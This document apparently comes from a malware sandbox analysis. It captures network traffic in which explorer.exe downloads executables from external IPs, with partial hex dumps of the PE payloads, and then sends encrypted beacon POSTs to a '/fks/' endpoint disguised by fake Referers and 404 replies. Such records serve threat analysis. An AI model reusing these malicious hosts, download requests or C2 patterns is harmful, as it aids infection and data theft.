Sep 23, 2023 17:53:38.431718111 CEST	22169	IN	Data Raw: 90 10 00 01 56 8b f8 ff 15 8c 10 00 01 5e 8b 8d 84 00 00 00 8b c7 5f e8 37 3f 00 00 81 c5 88 00 00 00 c9 c3 55 8b ec 51 56 8d 45 08 50 68 19 00 02 00 33 f6 56 ff 75 08 89 75 fc 68 02 00 00 80 ff 15 24 10 00 01 85 c0 75 23 8d 45 fc 50 56 56 56 ff Data Ascii: V^_7?UQVEPh3Vuuh$u#EPVVVuu,tuuE^UQVEPh3Vuuh$u'VVVVEPVVVVVVu4tuuE^L$3t)t~'"h4h4h
Sep 23, 2023 17:53:38.431787968 CEST	22170	IN	Data Raw: f8 83 45 f4 3c 3b 47 7c 0f 8c e6 fe ff ff c7 45 f0 01 00 00 00 83 7d fc 00 8b 45 14 8b 4d f8 5f 5e 89 08 5b 74 09 ff 75 fc ff 15 c0 10 00 01 8b 45 f0 c9 c2 10 00 ff 75 fc ff 15 c4 10 00 01 eb d4 6a fc ff 74 24 08 ff 15 b4 11 00 01 ff 74 24 08 a3 Data Ascii: E<;G\|E}EM_^[tuEujt$t$jt$U}u}u}u3uuuu5]Vt$t!V`\|F<:t>\u<\u3@3^U SV5W33}ChjWEPS
Sep 23, 2023 17:53:38.431811094 CEST	22171	IN	Data Raw: 00 83 3d 8c b8 00 01 00 0f 84 73 03 00 00 80 3d 9e b9 00 01 00 0f 85 66 03 00 00 68 04 01 00 00 be 9e b9 00 01 56 ff 35 a4 b4 00 01 ff 15 5c 10 00 01 85 c0 0f 84 43 03 00 00 6a 5c 56 e8 ac 2c 00 00 c6 40 01 00 e9 36 03 00 00 85 f6 75 ae 80 7d 84 Data Ascii: =s=fhV5\Cj\V,@6u}/t}-UE5P?:H'jY+HtHH{e;H}u=}:}=tuP
Sep 23, 2023 17:53:38.750215054 CEST	22272	IN	Data Raw: 01 33 c0 50 bf 80 00 00 00 57 53 50 50 ff 74 24 2c 55 ff d6 83 f8 ff 75 19 83 fb 03 74 14 55 e8 36 ef ff ff 33 c0 50 57 53 50 50 ff 74 24 2c 55 ff d6 5f 5e 5d 5b c2 0c 00 55 8b ec 53 56 33 db 33 f6 b8 c0 b4 00 01 83 38 01 74 0b 83 c0 18 46 3d 80 Data Ascii: 3PWSPPt$,UutU63PWSPPt$,U_^][USV338tF=\|(uSjSSh5L^[]hu\|uBEuEuv+uuuvt
Sep 23, 2023 17:53:38.750637054 CEST	22273	IN	HTTP/1.1 200 OK Date: Sat, 23 Sep 2023 15:53:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat, 23 Sep 2023 13:24:01 GMT ETag: "49200-60606a363e697" Accept-Ranges: bytes Content-Length: 299520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 38 cf 9c c9 7c ae f2 9a 7c ae f2 9a 7c ae f2 9a ff a6 af 9a 71 ae f2 9a 7c ae f3 9a f9 ae f2 9a f2 a6 ad 9a 67 ae f2 9a ff a6 ac 9a 7d ae f2 9a ff a6 a8 9a 7d ae f2 9a 52 69 63 68 7c ae f2 9a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 62 00 80 3e 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 07 0a 00 90 00 00 00 fe 03 00 00 00 00 00 3c 5d 00 00 00 10 00 00 00 a0 00 00 00 00 00 01 00 10 00 00 00 02 00 00 05 00 02 00 05 00 02 00 04 00 00 00 00 00 00 00 00 c0 04 00 00 04 00 00 f3 e6 04 00 02 00 00 84 00 00 04 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 93 00 00 8c 00 00 00 00 c0 00 00 d0 f9 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 8f 00 00 00 10 00 00 00 90 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 ec 1b 00 00 00 a0 00 00 00 04 00 00 00 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 f9 03 00 00 c0 00 00 00 fa 03 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 95 24 80 3e 40 00 00 00 94 24 80 3e 4d 00 01 00 94 24 80 3e 5a 00 00 00 96 24 80 3e 64 00 00 00 95 24 80 3e 6e 00 00 00 98 24 80 3e 79 00 00 00 96 24 80 3e 86 00 00 00 00 00 00 00 00 00 00 00 41 44 56 41 50 49 33 32 2e 64 6c 6c 00 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c 00 4e 54 44 4c 4c 2e 44 4c 4c 00 47 44 49 33 32 2e 64 6c 6c 00 55 53 45 52 33 32 2e 64 6c 6c 00 43 4f 4d 43 54 4c 33 32 2e 64 6c 6c 00 56 45 52 53 49 4f 4e 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8\|\|\|q\|g}}Rich\|PELb><] L0,.textt `.data@.rsrc@@$>@$>M$>Z$>d$>n$>y$>ADVAPI32.dllKERNEL32.dllNTDLL.DLLGDI32.dllUSER32.dllCOMCTL32.dllVERSION.dll

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49761	77.91.124.231	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:52:58.373929024 CEST	3166	OUT	GET /new/foto7447.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 77.91.124.231
Sep 23, 2023 17:52:58.696346045 CEST	4238	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Sat, 23 Sep 2023 23:50:29 GMT Accept-Ranges: bytes ETag: "b7bf9bbb78eed91:0" Server: Microsoft-IIS/10.0 Date: Sat, 23 Sep 2023 23:52:58 GMT Content-Length: 950784 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d7 e2 25 87 93 83 4b d4 93 83 4b d4 93 83 4b d4 f6 e5 4e d5 92 83 4b d4 f6 e5 48 d5 92 83 4b d4 f6 e5 4f d5 87 83 4b d4 f6 e5 4a d5 82 83 4b d4 93 83 4a d4 0d 83 4b d4 f6 e5 43 d5 9a 83 4b d4 f6 e5 b4 d4 92 83 4b d4 f6 e5 49 d5 92 83 4b d4 52 69 63 68 93 83 4b d4 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 60 8d 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 0d 00 64 00 00 00 1a 0e 00 00 00 00 00 60 6a 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 0e 00 00 04 00 00 dd bb 0e 00 02 00 40 c1 00 00 04 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c a2 00 00 b4 00 00 00 00 c0 00 00 08 fa 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 88 08 00 00 10 14 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 10 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 63 00 00 00 10 00 00 00 64 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 1a 00 00 00 80 00 00 00 02 00 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 52 10 00 00 00 a0 00 00 00 12 00 00 00 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 00 0e 00 00 c0 00 00 00 fc 0d 00 00 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 88 08 00 00 00 c0 0e 00 00 0a 00 00 00 78 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 82 40 00 50 82 40 00 a4 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%KKKNKHKOKJKJKCKKIKRichKPEL`bd`j@@ T@.textcd `.dataHh@.idataRj@@.rsrc\|@@.relocx@B@P@
Sep 23, 2023 17:52:58.696415901 CEST	4239	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 80 40 00 70 14 40 00 01 00 00 00 88 a2 40 00 00 00 00 00 c8 10 40 00 1c 00 00 00 00 75 01 00 00 Data Ascii: @p@@@u j@i@@o@012P44BIPJJ`KKLLLO
Sep 23, 2023 17:52:58.696453094 CEST	4240	IN	Data Raw: 10 00 00 04 00 00 00 2e 43 52 54 24 58 49 59 00 00 00 00 c4 10 00 00 04 00 00 00 2e 43 52 54 24 58 49 5a 00 00 00 00 c8 10 00 00 78 00 00 00 2e 67 66 69 64 73 00 00 40 11 00 00 30 03 00 00 2e 72 64 61 74 61 00 00 70 14 00 00 04 00 00 00 2e 72 64 Data Ascii: .CRT$XIY.CRT$XIZx.gfids@0.rdatap.rdata$sxdatat.rdata$zzzdbg8\.text$mnr\.xdata$x.datah.bss.idata$5.00cfg.idata$2
Sep 23, 2023 17:52:58.696562052 CEST	4242	IN	Data Raw: 50 33 c0 eb 4f ff 15 cc a1 40 00 8b d0 8b ce e8 9d 29 00 00 68 00 02 00 00 8d 85 fc fd ff ff c6 85 fc fd ff ff 00 50 ff 75 14 ff 35 3c 9a 40 00 ff 15 e8 a1 40 00 8d 85 fc fd ff ff 50 68 3f 08 00 00 56 ff 15 d4 a1 40 00 6a ff ff 15 dc a1 40 00 33 Data Ascii: P3O@)hPu5<@@Ph?V@j@3@M3^bR]UQSVWE30>tFfKuEf03#<7tGf7Kt78t@_^[]U@3EESVE
Sep 23, 2023 17:52:58.696676016 CEST	4243	IN	Data Raw: 45 f0 50 68 c4 11 40 00 57 ff 15 20 a0 40 00 57 57 57 8d 45 ec c7 45 ec 01 00 00 00 50 57 ff 75 e8 c7 45 f8 02 00 00 00 ff 15 34 a0 40 00 ff 75 e8 8b f0 ff 15 88 a0 40 00 85 f6 5e 57 75 07 ba f6 04 00 00 eb a9 6a 02 ff 15 d8 a1 40 00 85 c0 75 07 Data Ascii: EPh@W @WWWEEPWuE4@u@^Wuj@u3@M3_TM]Suu5ujj@jh@@"3$uf=@@ujj@[[UQ=0@t6EPhjhp@h@uh0@u
Sep 23, 2023 17:52:58.696742058 CEST	4244	IN	Data Raw: 40 00 85 c0 74 78 68 fc 11 40 00 8d 44 24 40 50 ff 15 d4 a0 40 00 85 c0 74 64 8d 44 24 3c 8b d3 50 8d 8c 24 54 01 00 00 e8 5b f2 ff ff 68 40 11 40 00 8b d3 8d 8c 24 54 01 00 00 e8 1f 41 00 00 8d 8c 24 50 01 00 00 e8 19 ff ff ff eb 30 50 8b d3 8d Data Ascii: @txh@D$@P@tdD$<P$T[h@@$TA$P0P$T+h$TP@$PP\|@D$PWL@JW@V@$\_^[3H]U@3EVWWP3@tKh@
Sep 23, 2023 17:52:58.696804047 CEST	4246	IN	Data Raw: 3e fe ff ff 85 c0 0f 84 28 01 00 00 8d 45 e4 50 ff 75 f8 ff 15 2c a2 40 00 89 45 e8 85 c0 0f 84 d7 00 00 00 50 6a 42 ff 15 80 a0 40 00 8b f8 85 ff 0f 84 fd 00 00 00 57 ff 15 a0 a0 40 00 89 45 e0 85 c0 0f 84 eb 00 00 00 50 ff 75 e8 ff 75 e4 ff 75 Data Ascii: >(EPu,@EPjB@W@EPuuu$@EPEPhD@u(@tt}tnEH@MMUEEEMEvv6DvDv\|]39u\|9u~9u\|e9u`W
Sep 23, 2023 17:52:58.696918011 CEST	4247	IN	Data Raw: 00 00 00 80 3d 3a 8a 40 00 00 74 0f b9 3a 8a 40 00 e8 43 f5 ff ff e9 b4 00 00 00 6a 0a 68 9c 12 40 00 56 ff 15 e0 a0 40 00 85 c0 74 0a 50 56 ff 15 28 a1 40 00 8b f8 83 3d 84 81 40 00 00 74 06 ff 15 3c a0 40 00 83 3d 24 8a 40 00 00 74 05 33 c0 40 Data Ascii: =:@t:@Cjh@V@tPV(@=@t<@=$@t3@}\tpf@@3Cf;tftfu?4@t38@u*u!h>hGh@P/6==u33PjPP3M_^3[=]U
Sep 23, 2023 17:52:58.696964979 CEST	4248	IN	Data Raw: 75 3d 6a 04 6a 20 56 53 ba 4a 05 00 00 8b cf e8 68 11 00 00 83 f8 06 0f 85 db 00 00 00 56 53 ff 15 b4 a0 40 00 85 c0 75 16 56 6a 10 56 53 ba cb 04 00 00 8b cf e8 42 11 00 00 e9 c9 00 00 00 68 40 11 40 00 ba 04 01 00 00 8b cb e8 fd 31 00 00 8b cb Data Ascii: u=jj VSJhVS@uVjVSBh@@14%uVjVV=@\u=@\t3@P%tn3CSW@d3VjVV@hT@W@3Vhhh5W@f9@@uVh6W@P
Sep 23, 2023 17:52:58.697014093 CEST	4250	IN	Data Raw: 85 c0 0f 8f a0 00 00 00 85 c9 75 34 85 c0 8b 85 70 fe ff ff 75 15 0f b7 c8 8b 85 5c fe ff ff 3b 4c 18 08 72 38 3b 4c 18 14 eb 30 8b 8d 5c fe ff ff 0f b7 c0 3b 44 19 08 0f 83 94 00 00 00 eb 1d 85 c0 0f 85 8a 00 00 00 8b 8d 5c fe ff ff 8b 85 70 fe Data Ascii: u4pu\;Lr8;L0\;D\p;DvutPL`3P;Tk<``tGX`Lu8Ty\|XPQ
Sep 23, 2023 17:52:59.018162966 CEST	4412	IN	Data Raw: 34 da ff ff 33 f6 46 3b de 75 4a 68 04 01 00 00 8d 94 24 94 00 00 00 b9 f8 12 40 00 e8 25 09 00 00 85 c0 74 a5 80 3d 42 8c 40 00 00 0f 85 5f 02 00 00 6a ff 68 c0 12 40 00 6a ff 8d 84 24 9c 00 00 00 50 56 6a 7f ff 15 68 a0 40 00 48 2b c6 0f 84 3c Data Ascii: 43F;uJh$@%t=B@_jh@j$PVjh@H+<D$PD$P$4t$u"3@f9@@t= @tuD$$D=@4@&s@VS@3T$(

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49775	77.91.68.29	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:13.551836014 CEST	6496	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sulblw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 212 Host: 77.91.68.29
Sep 23, 2023 17:53:13.551876068 CEST	6496	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 29 af a2 d5 f3 c9 39 df 28 fc d2 6a 9d 5d Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP)9(j]>T^Sgvw>)2cvFFR\|h@9nS VlMJ_>oaIo"CS_z=7#Rp^p`'eIvQ^K$o[~_qz8A
Sep 23, 2023 17:53:13.886835098 CEST	6497	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 403 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Sep 23, 2023 17:53:13.892080069 CEST	6497	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ljhprke.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: 77.91.68.29
Sep 23, 2023 17:53:13.892080069 CEST	6498	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a3 d5 f3 c9 38 df 28 fc fa 39 bf 45 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(9EZH qRa'lZ\|V{l\|>G"Sp9q;7t0Ai3JD(eu\|[6FXJ<E yW\tV7h u_@$g~a^WdoL2jfg-l6gx#h0M
Sep 23, 2023 17:53:14.217427015 CEST	6498	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 45 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 74 61 82 c9 43 a2 93 72 8b ba 31 17 fa 03 b7 09 66 c8 41 87 Data Ascii: H>99$JYWtaCr1fA
Sep 23, 2023 17:53:17.171688080 CEST	6963	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yjyrlfm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: 77.91.68.29
Sep 23, 2023 17:53:17.171761990 CEST	6963	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 29 af a3 d5 f3 c9 39 df 28 fc 82 6d bc 43 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP)9(mCiXa0}h6}?4O1G.lH?tQd/9f}coqo&~yCF(bDi@hdzXDSmZsN\2c.Rs0zA:v+,C$1a
Sep 23, 2023 17:53:17.496449947 CEST	6971	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 403 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Sep 23, 2023 17:53:17.502048016 CEST	6971	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://unygw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: 77.91.68.29
Sep 23, 2023 17:53:17.502109051 CEST	6971	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a0 d5 f3 c9 38 df 28 fc 97 4b ad 71 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(KqaTG\|My7UDkgtJJ4#ZeiArW9m/G7^SmJ's6*;xZ\|ub!rEAf`o%Y<,WDnl51wcaaCP#O%Qf
Sep 23, 2023 17:53:17.825953960 CEST	6972	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 41 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 04 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d1 40 be c4 28 82 b6 71 0a b1 19 a2 12 Data Ascii: H>99$JYWsk@(q
Sep 23, 2023 17:53:18.577035904 CEST	6973	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yrhxhgujiv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 290 Host: 77.91.68.29
